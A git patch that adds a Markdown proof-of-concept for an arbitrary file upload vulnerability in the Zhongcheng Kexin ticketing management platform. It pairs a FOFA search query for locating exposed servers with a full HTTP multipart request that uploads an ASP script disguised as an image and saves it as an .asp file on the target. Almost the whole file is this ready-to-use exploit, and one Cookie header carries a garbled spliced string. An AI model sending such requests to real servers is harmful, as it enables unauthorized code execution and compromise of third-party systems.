From 7e5cd31f1d2830a355da612d32a1e5fad80c32e2 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Sat, 16 Mar 2024 00:02:26 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E4=B8=AD=E6=88=90=E7=A7=91=E4=BF=A1?=
 =?UTF-8?q?=E7=A5=A8=E5=8A=A1=E7=AE=A1=E7=90=86=E5=B9=B3=E5=8F=B0=E4=BB=BB?=
 =?UTF-8?q?=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E?=
 =?UTF-8?q?.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 中成科信票务管理平台任意文件上传漏洞.md | 61 +++++++++++++++++++++++++
 1 file changed, 61 insertions(+)
 create mode 100644 中成科信票务管理平台任意文件上传漏洞.md

diff --git a/中成科信票务管理平台任意文件上传漏洞.md b/中成科信票务管理平台任意文件上传漏洞.md
new file mode 100644
index 0000000..4b7d444
--- /dev/null
+++ b/中成科信票务管理平台任意文件上传漏洞.md
@@ -0,0 +1,61 @@
+## 中成科信票务管理平台任意文件上传漏洞
+
+
+## fofa
+```
+body="技术支持：北京中成科信科技发展有限公司"
+```
+
+## poc
+```
+POST /SystemManager/Comm/CommFunHandler.ashx HTTP/1.1
+Host: 
+Pragma: no-cache
+Cache-Control: no-cache
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Referer: https://fofa.info/
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Cookie: ASP.NET Core | Open-source web framework for .NET_SessionId=zaiwm34v0gxjfsfcjx3zvw5u
+Connection: close
+Content-Type: multipart/form-data; boundary=--------------------------354575237365372692397370
+Content-Length: 864
+
+
+----------------------------354575237365372692397370
+Content-Disposition: form-data; name="file"; filename="1.txt"
+Content-Type: image/jpeg
+
+<%
+Response.Write("this is test")
+%>
+
+
+----------------------------354575237365372692397370
+Content-Disposition: form-data; name="fileName"
+
+1.asp
+----------------------------354575237365372692397370
+Content-Disposition: form-data; name="Method"
+
+UploadZoneImg
+----------------------------354575237365372692397370
+Content-Disposition: form-data; name="solutionNo"
+
+----------------------------354575237365372692397370
+Content-Disposition: form-data; name="siteNo"
+
+1
+----------------------------354575237365372692397370
+Content-Disposition: form-data; name="showNo"
+
+1
+----------------------------354575237365372692397370
+Content-Disposition: form-data; name="showingNo"
+
+1
+----------------------------354575237365372692397370--
+```
+![image](https://github.com/wy876/POC/assets/139549762/e24a61e4-466f-4e06-9cef-c2e11098b6d3)